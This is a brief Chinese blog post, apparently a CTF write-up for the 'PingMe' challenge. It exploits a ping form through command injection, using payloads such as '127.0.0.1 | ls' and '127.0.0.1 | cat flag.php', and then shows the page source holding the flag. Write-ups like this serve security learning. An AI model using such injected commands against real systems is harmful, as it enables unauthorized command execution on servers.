qsnctf--PingMe

第一步:先看题目

题目描述:就只是一个ping功能

第二步:获取flag

打开链接,看见就是一个ping功能,我们先试一下

127.0.0.1 | ls

 出来两个php

flag.php index.php 

 我们查看flag.php

127.0.0.1 | cat flag.php

 没反应,我又尝试一下index.php,还是没反应

然后查看一下源码

<?php
$flag="flag{s0_3asy_flag_g1ve_you}";

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Ping Me</title>
</head>
<body>

<h1>PING</h1>
<form action="index.php" method="post">
    IP:<input type="text" name="ip" id="ip"><br>
    <input type="submit">
</form>
<br /><pre>
</pre></body>
</html>

发先flag

flag{s0_3asy_flag_g1ve_you}

 


 

posted @ 2022-10-20 19:40  小王是fw  阅读(111)  评论(0)    收藏  举报